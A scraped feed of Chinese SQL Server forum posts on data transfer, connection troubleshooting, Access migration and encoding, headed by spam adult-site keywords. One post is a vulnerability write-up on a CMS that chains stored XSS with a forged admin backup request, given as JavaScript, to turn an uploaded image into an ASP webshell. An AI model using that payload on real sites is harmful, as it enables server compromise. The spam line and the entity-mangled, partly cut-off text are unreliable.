海角视频在线,久久久黄色大片,亚洲视频在线观看网站http://www.bjzhda.cnzh-cn曙海教育集團論壇http://www.bjzhda.cnRss Generator By Dvbbs.Netofficeoffice@126.comimages/logo.gif曙海教育集團論壇數據庫中SQL Server和Access、Excel數據傳輸簡單總結http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2534&Page=1wangxinxin2010-12-13 14:01:21所謂的數據傳輸,其實是指SQLServer訪問Access、Excel間的數據。為什么要考慮到這個問題呢?由于歷史的原因,客戶以前的數據很多都是在存入在文本數據庫中,如Acess、Excel、Foxpro。現在系統升級及數據庫服務器如SQLServer、ORACLE后,經常需要訪問文本數據庫中的數據,所以就會產生這樣的需求。前段時間出差的項目,就是面臨這樣的一個問題:SQLServer和VFP之間的數據交換。

要完成標題的需要,在SQLServer中是一件非常簡單的事情。通常的可以有3種方式:1、DTS工具 2、BCP 3、分布式查詢DTS就不需要說了,因為那是圖形化操作界面,很容易上手。這里主要講下后面兩們,分別以查、增、刪、改作為簡單的例子:

直接以T-SQL的形式表現出來。

一、SQLServer和Access

1、查詢Access中數據的方法:

select * from OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')

或select * from OpenDataSource('Microsoft.Jet.OLEDB.4.0','Data Source="c:\DB2.mdb";User ID=Admin;Password=')...serv_user

2、從SQLServer向Access寫數據:

insert into OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from Accee表')
select * from SQLServer表

或用BCPmaster..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" out "c:\db3.mdb" -c -q -S"." -U"sa" -P"sa"'

上面的區別主要是:OpenRowSet需要mdb和表存在,BCP會在不存在的時候生成該mdb

3、從Access向SQLServer寫數據:

有了上面的基礎,這個就很簡單了

insert into SQLServer表 select * from
OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from Accee表')

或用BCP

master..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" in "c:\db3.mdb" -c -q -S"." -U"sa" -P"sa"'

4、刪除Access數據:

delete from OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')
where lock=0

5、修改Access數據

update OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')
set lock=1

SQLServer和Access大致就這么多。

二、SQLServer和Excel

1、向Excel查詢

select * from OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;HDR=yes;database=c:\book1.xls;','select * from [Sheet1$]') where c like '%f%'

select * from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\book1.xls',[sheet1$])

1)hdr=yes時可以把xls的第1行作為字段看待,如第1個中hdr=no的話,where時就會報錯
2)[]和美圓$必須要,否則M$可不認這個賬

2、修改Execl

update OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;hdr=yes;database=c:\book1.xls;','select * from [Sheet1$]')
set a='erquan' where c like '%f%'

3、導入導出
insert into OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;hdr=yes;database=c:\book1.xls;','select * from [Sheet2$]')(id,name)
select id,name from serv_user

或BCP         master..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" out "c:\book2.xls" -c -q -S"." -U"sa" -P"sa"'

從Excel向SQLServer導入:

select * into serv_user_bak
from OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;HDR=yes;database=c:\book1.xls;','select * from [Sheet1$]')

如果表serv_user_bak不存在,則創建有關BCP和分布式查詢的詳細解答,就查SQLServer自帶的幫助吧。SQLServer和txt文件、HTML文件、VFP文件的數據交換都顯得非常容易了。

其實這些內容在幫助里都有,總結了一下,方便大家參考。以上內容都經過測試

]]>
如何在程序中不同數據庫間操作數據?http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2533&Page=1wangxinxin2010-12-13 13:49:31但執行下述語句時卻不成功,顯示出錯信息如下:[DBNETLIB][ConnectionOpe(Connect().]SQL Server不存在或拒絕訪問,如何解決呢?
(其目的是想從本地數據庫選擇數據記錄,然后直接插入遠程數據庫的表中。或者有什么方法可以達到目的)
“it”為本地數據庫名
ADOConnection.Connected := True;
ADOConnection.Execute('SELECT * into Test FROM openrowset(''sqloledb'',''it'';''sa'';''123456'',Test.dbo.Test) ');

2樓: 個人覺得是沒有開SQL SERVER驗證,連接串是什么

下面最經典的帖子,

一."SQL Server 不存在或訪問被拒絕"

這個是最復雜的,錯誤發生的原因比較多,需要檢查的方面也比較多.
一般說來,有以下幾種可能性:
1,SQL Server名稱或IP地址拼寫有誤
2,服務器端網絡配置有誤
3,客戶端網絡配置有誤
要解決這個問題,我們一般要遵循以下的步驟來一步步找出導致錯誤的原因.
============= 首先,檢查網絡物理連接 =============
ping <服務器IP地址/服務器名稱>
如果 ping <服務器IP地址> 不成功,說明物理連接有問題,這時候要檢查硬件設備,如網卡,HUB,路由器等.還有一種可能是由于客戶端和服務器之間安裝有防火墻軟件造成的,比如 ISA Server.防火墻軟件可能會屏蔽對 ping,telnet 等的響應
因此在檢查連接問題的時候,我們要先把防火墻軟件暫時關閉,或者打開所有被封閉的端口.
如果ping <服務器IP地址> 成功而,ping <服務器名稱> 失敗
則說明名字解析有問題,這時候要檢查 DNS 服務是否正常.
有時候客戶端和服務器不在同一個局域網里面,這時候很可能無法直接使用服務器名稱來標識該服務器,這時候我們可以使用HOSTS文件來進行名字解析,
具體的方法是:
1.使用記事本打開HOSTS文件(一般情況下位于C:\WINNT\system32\drivers\etc).
添加一條IP地址與服務器名稱的對應記錄,如:
172.168.10.24 myserver

2.或在 SQL Server 的客戶端網絡實用工具里面進行配置,后面會有詳細說明.

====接著,我們要到服務器上檢查服務器端的網絡配置,檢查是否啟用了命名管道.是否啟用了 TCP/IP 協議等等 =============
點擊:程序 -- Microsoft SQL Server -- 服務器網絡使用工具

打開該工具后,在"常規"中可以看到服務器啟用了哪些協議.
一般而言,我們啟用命名管道以及 TCP/IP 協議.
點中 TCP/IP 協議,選擇"屬性",我們可以來檢查 SQL Server 服務默認端口的設置
一般而言,我們使用 SQL Server 默認的1433端口.如果選中"隱藏服務器",則意味著客戶端無法通過枚舉服務器來看到這臺服務器,起到了保護的作用,但不影響連接.



============= 接下來我們要到客戶端檢查客戶端的網絡配置 =============
我們同樣可以利用 SQL Server 自帶的客戶端網絡使用工具來進行檢查,
點擊:程序 -- Microsoft SQL Server -- 客戶端網絡使用工具

打開該工具后,在"常規"項中,可以看到客戶端啟用了哪些協議.
一般而言,我們同樣需要啟用命名管道以及 TCP/IP 協議.
點擊 TCP/IP 協議,選擇"屬性",可以檢查客戶端默認連接端口的設置,該端口必須與服務器一致.
單擊"別名"選項卡,還可以為服務器配置別名.服務器的別名是用來連接的名稱,
連接參數中的服務器是真正的服務器名稱,兩者可以相同或不同.別名的設置與使用HOSTS文件有相似之處.

二."無法連接到服務器,用戶xxx登陸失敗"

該錯誤產生的原因是由于SQL Server使用了"僅 Windows"的身份驗證方式,
因此用戶無法使用SQL Server的登錄帳戶(如 sa )進行連接.解決方法如下所示:

1.在服務器端使用企業管理器,并且選擇"使用 Windows 身份驗證"連接上 SQL Server
操作步驟:
在企業管理器中
--右鍵你的服務器實例(就是那個有綠色圖標的)
--編輯SQL Server注冊屬性
--選擇"使用windows身份驗證"

--選擇"使用SQL Server身份驗證"
--登錄名輸入:sa,密碼輸入sa的密碼
--確定

2.設置允許SQL Server身份登錄
操作步驟:
在企業管理器中
--展開"SQL Server組",鼠標右鍵點擊SQL Server服務器的名稱
--選擇"屬性"
--再選擇"安全性"選項卡
--在"身份驗證"下,選擇"SQL Server和 Windows ".
--確定,并重新啟動SQL Server服務.

在以上解決方法中,如果在第 1 步中使用"使用 Windows 身份驗證"連接 SQL Server 失敗,
那就通過修改注冊表來解決此問題:

1.點擊"開始"-"運行",輸入regedit,回車進入注冊表編輯器
2.依次展開注冊表項,瀏覽到以下注冊表鍵:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer]
3.在屏幕右方找到名稱"LoginMode",雙擊編輯雙字節值
4.將原值從1改為2,點擊"確定"
5.關閉注冊表編輯器
6.重新啟動SQL Server服務.

此時,用戶可以成功地使用sa在企業管理器中新建SQL Server注冊,
但是仍然無法使用Windows身份驗證模式來連接SQL Server.
這是因為在 SQL Server 中有兩個缺省的登錄帳戶:
BUILTIN\Administrators
<機器名>\Administrator 被刪除.
要恢復這兩個帳戶,可以使用以下的方法:

1.打開企業管理器,展開服務器組,然后展開服務器
2.展開"安全性",右擊"登錄",然后單擊"新建登錄"
3.在"名稱"框中,輸入 BUILTIN\Administrators
4.在"服務器角色"選項卡中,選擇"System Administrators"
5.點擊"確定"退出
6.使用同樣方法添加 <機器名>\Administrator 登錄.
說明:

以下注冊表鍵:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\LoginMode
的值決定了SQL Server將采取何種身份驗證模式.
1.表示使用"Windows 身份驗證"模式
2.表示使用混合模式(Windows 身份驗證和 SQL Server 身份驗證).


]]>
利用or構造SQL巧妙注射-分析睿智管理系統安全http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2532&Page=1wangxinxin2010-12-13 13:47:46???? 最近上cnzz下載了一套網站管理系統,在源碼首頁發現它,心想cnzz都推薦應該安全性相當不錯了.官方下載最新版本本地搭建IIS測試發現簡潔易用,整體上安全做得不錯.由于是免費版的,可能官方有點放水.不過這里不影響我們的分析,這里討論兩個方面:跨站的利用,SQL注射.還是一句話:重在思路.
一.隱藏的數據庫
分析代碼經常要用到數據庫(我分析的是Access版本的) ,習慣性的打開數據庫,驚奇的發現只有一個notdown表,如圖01:
  
可是再仔細查看代碼發現不應該只有這張表的,于是就想是不是隱藏起來了?第一次看到這種情況,于是就查看了下Access幫助說明,在其中發現原來有還存在兩種屬性的數據表,即系統對象和隱藏對象.下面做一個小知識補充:
由于Access默認是不顯示系統對象和隱藏對象的.所以如果一個表中存在隱藏對象或者系統對象那么就無法看到該表了. 簡單說下隱藏方法,設計好表后右擊表選擇&quot;屬性&quot;-&gt;&quot;隱藏&quot;屬性打勾,刷新下就看不到了,這樣就是隱藏對象了,默認是看不到的.至于系統對象,我們可以修改表的前綴為 usys,這樣就可以把表改成一個系統對象.這兩種方法都可以.
既然可以隱藏當然也可以恢復顯示了, 按如下操作:“工具”菜單-&gt;“選項”命令-&gt;“視圖”選項卡-&gt;選中“顯示”一欄下的“系統對象”復選框或者&quot;隱藏對象&quot;復選框,并按下“確定”按鈕,就可以重新顯示所有表了.如圖02
  
Ok了,數據就可以和正常的一樣了.
二.跨站的深入利用雞肋
首先看看漏洞文件/include/PlS.asp,查看代碼發現是一個評論顯示,在多個文件被包含了,代碼如下:  
&quot;&quot; then
??????Dim Author,Content,mycode
????Author=Trim(Request.Form(&quot;Author&quot;))// 簡單的過濾空格
????Content=Trim(Request.Form(&quot;Content&quot;)) //同上
????mycode = trim(request.form(&quot;code&quot;))
??????if Author=&quot;&quot; or Content=&quot;&quot; then
??????Call Alert (&quot;請填寫完整再提交&quot;,&quot;-1&quot;)
????end if
????if mycodeSession(&quot;getcode&quot;) then
?????? Call Alert (&quot;您輸入驗證碼錯誤&quot;,&quot;-1&quot;)
????end if
??????set rs = server.CreateObject (&quot;adodb.recordset&quot;)
????sql=&quot;select * from zhi_rui_E_Pl&quot;
????rs.open sql,conn,1,3
????rs.addnew
????rs(&quot;cli&quot;)=Request.Form(&quot;cli&quot;)
????rs(&quot;Ioid&quot;)=request.Form(&quot;Inid&quot;)
????rs(&quot;Author&quot;)=Author
????rs(&quot;Content&quot;)=Content
??------------------------省略部分代碼-------------------------------
%&gt;

顯然沒有任何過濾,直接寫入數據庫,跨站產生了.由于數據庫是mdb格式的,所有插馬也沒用.這里就想到了是否可以備份數據庫?進入后臺看到數據庫備份,查看如圖03:
  
看到了沒,據庫路徑和備份文件名都不能修改,有些朋友可能就到這里停止,其實不然,還可以繼續,經驗告訴我,他是將該輸入框寫成hidden隱藏域了,查看文件/admin/Admin_Data.asp代碼如下:  
&quot; size=&quot;40&quot; /&gt;[/td]

看到這行type=hidden,猜測沒錯.那也就是說同樣可以備份任意文件了.所有后臺拿shell比較簡單了.(插馬備份數據庫比較麻煩,要繞過// 判斷瀏覽器類型并定義創建xmlhttp會話
if (window.XMLHttpRequest)
{
??xmlhttp = new XMLHttpRequest();
} else if (window.ActiveXObject)
{
??try
??{
????xmlhttp = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);
??}
??catch (e)
??{
????try
????{
??????xmlhttp = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);
????}
????catch (e)
????{
????}
??}
}
function backup()
{
??var postStr = &quot;DBpath=upload/2009082150598817.jpg&amp;bkfolder=../DataBase/bak/&amp;bkDBname=l4nk0r.asp&quot;;
??xmlhttp.open(&quot圖片點擊可在新窗口打開查看OST&quot;,&quot;/admin/Admin_data.asp?action=RestoreData&amp;act=Restore&quot;,true);
??xmlhttp.setRequestHeader(&quot;Content-Type&quot;,&quot;application/x-www-form-urlencoded&quot;);
??xmlhttp.send(postStr);
}
Backup();

然后在你要提交的地方提交
]]>
Vista真夠絕:只支持SQL Server 2005http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2531&Page=1wangxinxin2010-12-13 13:45:58
以下內容含腳本,或可能導致頁面不正常的代碼
說明:上面顯示的是代碼內容。您可以先檢查過代碼沒問題,或修改之后再運行.
]]>
用SQL Server 2000完成簡單的企業工資管理系統http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2530&Page=1wangxinxin2010-12-13 13:40:37    當對企業級的高性能的數據庫的要求和需求增加時,客戶有時需要從文件棗服務器環境的Microsoft Access Jet引擎遷移到客戶棗服務器環境的Microsoft SQL Server。隨同微軟Office 2000發行的Access 2000 Upsizing Wizard(升級向導)可以把Access表格和查詢遷移到SQL Server 7.0。如果你使用Access的早期版本,你也可以通過升級到Access 2000,并使用升級向導把你的應用程序移植到SQL SERVER。

    如果你不喜歡使用Access 2000和升級向導進行移植,那么這篇文章作為向遷移一個Access應用程序到SQL Server。要遷移Access應用程序,你需要首先把數據遷移到SQL Server 7.0,然后把Access查詢移植到數據庫或SQL文件,最后是移植應用程序。

●移植中使用的SQL Server工具

    SQL Server中的一些工具可以幫助你移植Access數據和應用程序

*SQL Server企業管理器

    SQL Server企業管理器允許對SQL Server和SQL Server對象的企業范圍的設置和管理。SQL Server企業管理器提供了一個強大的任務安排引擎、管理警告能力、以及內建的復制管理界面。你還可以用SQL Server企業管理器來:

管理登錄和用戶權限
創建腳本
管理SQL SERVER對象的備份
備份數據庫和事務日志
管理表、視圖、存儲過程、觸發器、索引、規則、缺省設定和自定義數據類型
創建全文索引、數據庫圖表和數據庫維護方案
輸入輸出數據
轉換數據
執行不同的Web網絡管理任務
缺省情況下,SQL Server企業管理器被SQL Server作為服務器軟件的一部分安裝在運行Windows NT操作系統的計算機上,同時作為客戶軟件的一部分安裝在運行Windows NT和Windows 95操作系統的計算機上。你很可能要從SQL Server企業管理器的圖形用戶界面啟動數據轉換服務(Data Transformation Services,DTS)。

數據轉換服務(DTS)

    數據轉換服務允許你在使用一個OLE DB結構的多個數據源之間輸入和輸出數據,這樣的數據源有Microsoft Excel電子表格,以及在運行SQL Server 7.0的多臺計算機之間執行數據庫和數據庫對象的傳輸。你還可以用DTS來執行數據轉換,以便用它來通過一個在線事務處理系統建立數據倉庫和數據商場。

    DTS向導允許你交互的創建使用OLE DB和ODBC來進行輸入、輸出、確認和不同數據的轉換的DTS包。向導還允許你在相關數據庫之間拷貝計劃和數據。

SQL SERVER查詢分析器(Server Query Analyzer)

    SQL SERVER查詢分析器是一個圖形化查詢工具,它允許你可視化的分析一個查詢方案,同時執行多重查詢、查看數據、獲得索引建議。SQL Server查詢分析器提供顯示方案(showplan)選項,可以用它來報告SQL Server查詢優化器選擇的數據獲取方案。

SQL Server輪廓(Server Profiler)

    SQL SERVER輪廓實時捕捉服務器活動的連續的記錄。SQL Server輪廓允許你監控通過SQL Server產生的事件,過濾基于用戶指定準則的事件和直接跟蹤到顯示器、文件或者表的輸出。使用SQL Server輪廓,你可以重放先前的捕捉記錄。這個工具幫助應用程序開發人員鑒別可能使應用程序性能惡化的事務。當從一個基于文件的體系結構移植一個應用程序到一個基于客戶/服務器的體系結構時,它是很有幫助的,因為最后的步驟包含針對應用程序的新客戶/服務器環境優化該應用程序的操作。

移動表格和數據

    使用DTS向導遷移你的Access數據到SQL Server,你可以使用這些步驟:

    在SQL SERVER企業管理器中的Tools(工具)菜單上,選擇Data Transformation Services(數據轉換服務),然后選擇Import Data(導入數據)。
在Choose a Data Source(選擇數據源)對話框中選擇Microsoft Access as the Source,然后鍵入你的.mdb數據庫(.mdb文件擴展名)的文件名或通過瀏覽尋找該文件。
在Choose a Destination(選擇目標)對話框中,選擇Microsoft OLE DB Provider for SQL Server,選擇數據庫服務器,然后單擊必要的驗證方式。
在Specify Table Copy(指定表格復制)或Query(查詢)對話框中,單擊Copy tables(復制表格)。
在Select Source Tables(選擇源表格)對話框中,單擊Select All(全部選定)。

移植Microsoft Access查詢

    你必須以這些格式之一遷移你現有的Access查詢到SQL Server:

Transact-SQL腳本

    Transact-SQL語句通常從數據庫程序被調用,但是你可以使用包含在SQL Server 7.0中的SQL Server查詢分析器在數據庫中直接運行它們。SQL Server查詢分析器幫助開發者針對開發數據庫測試Transact-SQL語句,或運行Transact-SQL語句執行查詢、數據操作(INSERT、UPDATE、DELETE)或數據定義(CREATE TABLE)。

存儲過程

    開發者可以把大多數源于Access查詢(SELECT、INSERT、UPDATE 和 DELETE)的Transact-SQL語句轉換為存儲過程。用Transact-SQL寫的存儲過程可以用來封裝和標準化你的數據訪問,存儲過程實際上存儲在數據庫內。存儲過程能帶或者不帶參數運行,可以從數據庫程序調用,也可以從SQL Server查詢分析器手動執行。

視圖

    視圖作為虛擬的表格從一個或更多的表格顯露指定的行和列。它們允許用戶創建查詢而不用直接實現那些復雜的底層查詢。視圖不支持參數。向視圖加入一個更多的表格不能使用INSERT、UPDATE、或DELETE語句修改。視圖可以用Transact-SQL語句調用,并且也可以在SQL Server查詢分析器中的*.scripts中使用。SQL Server視圖和SQL-92標準不支持視圖中的ORDER BY 子句。
 

更多關于Transact-SQL、存儲過程或者視圖的信息,見SQL Server Books Online。

Access查詢類型
SQL Server移植選項和注釋

 
一個SELECT語句可以被存儲在Transact-SQL文件、存儲過程或者視圖中。
創建存儲過程是實現把數據庫應用程序開發同數據庫設計的物理實現分離的最好方法。存儲過程在一個地方創建,并且被應用程序調用。

如果底層數據庫改變了,并且存儲過程被仔細的修改以反映這些變化,則對存儲過程的調用不會被“中斷”。

CROSSTAB
交叉表經常用于摘要報告。
Access交叉表可以在SQL腳本中作為Transact-SQL SELECT語句實現,也可以作為存儲過程或者一個視圖實現。每次一個查詢被列舉的時候,數據節點將會重執行,請確保使用最新的數據。
根據不同的數據庫需要,也許把交叉表中的數據存儲為臨時表比較合適(請參看下一行的MAKE TABLE)。臨時表只需要很少的資源,但是只提供了創建臨時表的時刻,數據的一個照相。

MAKE TABLE
Access的MAKE TABLE可以在Transact-SQL腳本或者存儲過程中作為Transact-SQL的CREATE TABLE語句實現。語法如下:

SELECT [ ALL | DISTINCT ]

[ {TOP integer | TOP integer PERCENT} [ WITH TIES] ]

]]>
用SQL Server 2000完成簡單的企業工資管理系統http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2529&Page=1wangxinxin2010-12-13 13:37:22SQL Server 2000完成簡單的企業工資管理系統
1.后臺代碼
/*******************************************************************
實訓任務:工資管理系統設計 for MSSQLSERVER2000
作者:小金
E-MAIL:lk007@163.com
BBS:bbs.nettf.net/forums/index.php

函數匯總:
********視圖*************
v_month_all
作用:返回當前年月的所有員工工資信息
語法:SELECT * FROM v_month_all

*******存儲過程***********
proc_query_member_info
作用:指定員工基本信息的查詢
語法:proc_query_member_info @name=QUERY_NAME
示例:EXEC proc_query_member_info @name='小金'

proc_query_group
作用:指定部門或全部部門的查詢
語法:proc_query_group @group=QUERY_NAME
示例:EXEC proc_query_group @group='安全部'
EXEC proc_query_group @group='ALL'

proc_all_acc_by_year
作用:統計指定年份整個企業的工資和各部門每個月份的工資總額
語法:proc_all_acc_by_year @year=QUERY_YEAR,@sign=SIGN
示例:EXEC proc_all_acc_by_year @year='2005',@sign='SUM'

proc_curmon_group
作用:返回當前月份某個部門員工的工資信息
語法:proc_curmon_group @group=QUERY_GROUP
示例:EXEC proc_curmon_group @group='社會勞動部'

proc_query_member_acc
作用:查詢指定員工的工資信息
語法:proc_query_member_acc @name=QUERY_NAME
示例:EXEC proc_query_member_acc @name='小金'

]]>
國際化使用UTF-8造成數據庫MSSQL Server 2000/2005存儲亂碼的分析http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2528&Page=1wangxinxin2010-12-13 13:34:58看了許多網上使用MSSQL Server 2000/2005使用UTF-8造成數據庫存儲亂碼的描述,也說一下自己做的一個國際化項目的經驗。
這個項目描述:
架構:VC++的ATL Server進行開發;
頁面:web頁面是UTF-8編碼,CodePage=65001;
應用服務器程序:編譯好的dll是Unicode編碼;
操作系統:中文Windows 2003 Server;
數據庫聯接方式:OLEDB
數據庫:中文MSSQL Sever2005,顯示Codepage=936,
字段都是支持Unicode的nchar,nvarcha,nText;
SELECT COLLATIONPROPERTY('Chinese_PRC_Stroke_CI_AI', 'CodePage')
936
________________________________________________

發現從Web頁面提交的數據到數據后查詢總是亂碼,經過檢查,發現保存的數據直接就是是UTF-8編碼,其CodePage=65001,而數據默認顯示支持的Unicode語言版本Codepage=936(即是簡體中文),所以數據查詢的就是亂碼,想過兩種方案:
1,懷疑是數據時UTF-8編碼,而SQLServer是UCS-2 版本,相通過UTF-8-〉UCS-2轉換,發現還是行不通,仍然亂碼,此路不通;
2,
搜索了網絡發現并沒有現成的例子,經過測試中文系統使用Web頁面為GB2312編碼提交的數據到數據很正常,基于Windows2003是支持
Unicode(UCS-2),排除操作系統的問題,這個過程經過分析可以這么理解:936(Web頁面編碼GB2312)-〉Unicode(應用服務
器端)-〉Unicode(數據庫OLEDB傳輸)-〉UCS-2(數據庫)-〉自動轉化為936(Unicode簡體中文語言版本),而使用UTF-8
的Web頁面這個過程就是:65001(Web頁面編碼UTF-8)-〉Unicode(應用服務器端)-〉Unicode(數據庫OLEDB傳輸)-〉
UCS-2(數據庫)-〉自動轉化為936(Unicode簡體中文語言版本),所以最后的使用數據分析查詢器看到的就是亂碼,最后確定的方案就是兩種手
段:一是更改數據查詢分析器的Codepage為65001,很顯然當前的SQLServer沒有這個功能(沒找到?知道的告訴我);二是將前端的UTF
-8轉為GB2312編碼,很顯然這個最后成功了,這個過程程序還是保留了所有的多語言的特性,一位UTF-8-〉GB2312,這個過程是無損的(新的
驗證會出現部分方塊無法顯示),因為是UTF-8->Unicode->GB2312.
總結:
1,MSSQL
Server不支持UTF-8(Codepage=65001)直接顯示,數據庫查詢的顯示數據使用默認的Codepage,如簡體中文版就是936,繁
體中文是950,韓文949等,因此從使用的Web頁面UTF-8提交的數據自動轉換為所用的Codepage顯示,因此就是亂碼,這個有待MS
SQL
Server進一步發展,因為現在Oracle和MySQL是可以支持直接UTF-8存儲顯示,國際化時請先將數據由UTF-8編碼轉化為MSSQL數據
庫默認的編碼,讀寫出來這個過程著相反進行轉化,這個過程看起來會因為轉化過程影響處理速度(抉擇于國際化);
2,ASP/ASPX/JSP/PHP使用MSSQL Server編程支持UTF-8都會面臨這樣的問題,可以看看MSDN有關這個方面的解釋
補充:根據測試和MSDN分析,將UTF-8轉化為GB2312并不是很好的方案,這樣會使包含韓文、阿拉伯文等等,這些都會變成問號,所以整個過程并不是很繁瑣,簡化一下:
寫數據庫:瀏覽器表單提交數據(UTF-8)(ANSI編碼)-〉應用服務器端程序(進行UTF-8-〉Unicode)-〉MS SQL Server(自動轉化為字符集936編碼顯示內容,但數據肯定是Unicode方式存儲的);
讀數據庫:MS SQL Server(936 - Unicode)-〉應用服務器端程序(進行Unicode-〉UTF-8)-〉瀏覽器顯示
注意:其他條件設置不變
 
兩個使用的函數:
1,UTF8轉化為Unicode,inline為了編譯后更快運行,老用到了,返回字符串為了使用鏈式表達式
inline WCHAR  *UTF8ToUnicode(const char *str) throw()
 {
  int i = MultiByteToWideChar(CP_UTF8,MB_ERR_INVALID_CHARS,str,-1,NULL,0);        
  WCHAR   *strUnicode=new   WCHAR[i];        
  MultiByteToWideChar(CP_UTF8,MB_ERR_INVALID_CHARS,str,-1,strUnicode,i);
  return strUnicode;
  delete []strUnicode;
 }
一定要返回WCHAR 或wchar_t類型,否則有些字符就會變成“?”,Unicode(UCS-2)是2個字節寬
 
2,Unicode轉化為UTF8,inline同上意義
inline char *UnicodeToUTF8(const WCHAR* pText) throw()
 {
  int i= WideCharToMultiByte(CP_UTF8
]]>
SQL Server技巧合集http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2527&Page=1wangxinxin2010-12-13 13:27:55SQL SERVER中對查詢結果隨機排序
問:怎樣才能對查詢結果隨機排序?
  答:對結果記錄隨機排序,或隨機返回X條記錄,可以通過在SELECT語句中使用RAND函數來實現。但是RAND函數在查詢中只生成一次,因此每一行都將得到相同的值。可以通過在ORDER BY子句中使用NEWID函數來對結果進行排序的方法來實現,代碼如下:
  SELECT *
  FROM Northwind..Orders
  ORDER BY NEWID()
  SELECT TOP 10 *
  FROM Northwind..Orders
  ORDER BY NEWID()
解決SQL Server 2000之日志傳送功能
一、殘余數據
     當您進行SQL Server 2000日志傳送的實驗時,也許偶而會中斷設定過程。如果真是如此,那么某些資料仍然會存入每臺服務器的日志傳送資料表,并且影響到后續的日志傳送設定動作。為了保證這些剩余資料都會被清除,請確實刪除每臺服務器msdb數據庫內日志傳送資料表之相關資料。
    錯誤信息:
    Error 14261: The specified primary_server_name.primary_database_name ('N') already exists.
    Error 14426: A log shipping monitor is already defined (...)
    處理方法:
    必須手動執行下面幾個存儲過程來刪除Log Shipping在數據庫中記錄的信息。
    1、sp_delete_log_shipping_primary
     刪除msdb.dbo.log_shipping_primary表中的Primary Server信息
    2、sp_delete_log_shipping_plan
     刪除Log Shipping計劃
    3、sp_delete_log_shipping_secondary
     刪除msdb.dbo.log_shipping_secondaries表中的Secondary Server信息
    4、sp_remove_log_shipping_monitor
     刪除Log Shipping監視從表msdb.dbo.log_shipping_monitor
二、數據庫的模式
     如果正確設置了Log Shipping,但是沒有辦法正常執行,在SQL Server的日志中可以看到類似這個信息和界面:
    Microsoft (R) SQLMaint Utility (Unicode), Version Logged on to SQL Server 'ZTAO-1' as 'ZTAO-1\Administrator' (trusted)
Starting maintenance plan 'LOG_Plan_9' on 2003-9-4 14:42:02
Backup can not be performed on database 'ERPLogShipping'. This sub task is ignored.
Deleting old text reports...        0 file(s) deleted.
End of maintenance plan 'LOG_Plan_9' on 2003-9-4 14:42:02
SQLMAINT.EXE Process Exit Code: 1 (Failed)


    可能是你沒有正確設置數據庫的模式,完整模式。


    三、Log文件存放路徑
    在MSDN上看過一篇文章說,同一臺電腦上再次設置Log Shipping時,不要使用相同的目錄存放Log文件。這個沒有考證過,只提一下,提醒大家!
數據庫考試簡介——微軟數據庫管理員 (MCDBA)
微軟認證數據庫管理員 (MCDBA) 可獲得如下權益(2000 年 1 月 1 日生效):
  業界對您具備的微軟產品和技術的知識與熟練程度的認可。
  在取得認證的第一年內訂閱全年 TechNet 或 TechNet Plus 享有預零售價的 50% 的折扣。(實行細節可能會隨著您的所在地點有所變化,請查看您的 Welcome Kit。)
  訂閱“微軟開發人員網絡”(MSDN?)在獲得認證后的一年內,MCDBA 可以獲得一年的 MSDN 訂閱折扣.(實行細節可能會隨著您的所在地點有所變化,請查看您的 Welcome Kit。)MSDN 專業版的折扣額為 200 美元,MSDN Universal(通用版)的折扣為 500 美元。
  訂閱一年期 SQL Server Magazine。 SQL Server Magazine 是供 SQL Server 專家閱讀的首選資源。該雜志由業界的專家撰稿,包含了技術和實際技巧以及有關建議,是每位使用 SQL Server 人士的必備之物。通常全年的定價是 49.95 美元,對于 MCDBA 免費。
  通過 安全的 MCP Web 站點 直接從微軟公司獲得技術和產品信息。
  從部分公司獲得獨享的產品和服務折扣。現已通過認證的個人可以通過訪問 MCP 安全站點 ,并單擊“其他權益”來獲取有關的獨享折扣信息。獲得最高級認證的人員可以選擇“最高級權益”。
  MCDBA 徽標、證書、成績單、皮夾卡、領帶夾向同事和客戶表明您的微軟認證專家(MCP)身份。在認證時可以從 MCP 安全 Web 站點 下載徽標和成績單的電子文件。
  邀請參加微軟舉行的會議、技術培訓會議以及特別活動。
  免費訪問 Microsoft Certified Professional Magazine Online (《微軟認證專家在線雜志》 -- 一份有關職業生涯及專業前景展望的雜志)。 Microsoft Certified Professional Magazine Online Web 站點的安全內容包括本期雜志(只有 MCP 才能訪問),其他僅在線發行的內容和專欄,一個只對 MCP 開放的數據庫和與微軟和其他技術專家定期的在線技術討論。
  加入 PASS(SQL Server 專業協會)時享有折扣。除了在其中扮演重要角色外(這是唯一由用戶主持并經過 Microsoft 批準的全球性 SQL Server 用戶組),該協會的成員還能夠獨享各種教育機會。PASS 還邀請 MCP 利用 PASS 的表決資格,只需 50 美元即可享受會員的所有權益(比正常價格低 100 美元)。 請訪問 MCP 安全 Web 站點 了解有關如何獲得此項權益的詳細信息。
  MCDBA 要求
  微軟認證數據庫管理員 (MCDBA) 報考人需要通過三門核心考試和一門選修考試,這些考試能夠有效和可靠地衡量實施和管理 Microsoft SQL Server數據庫的技術熟練和精通程度。

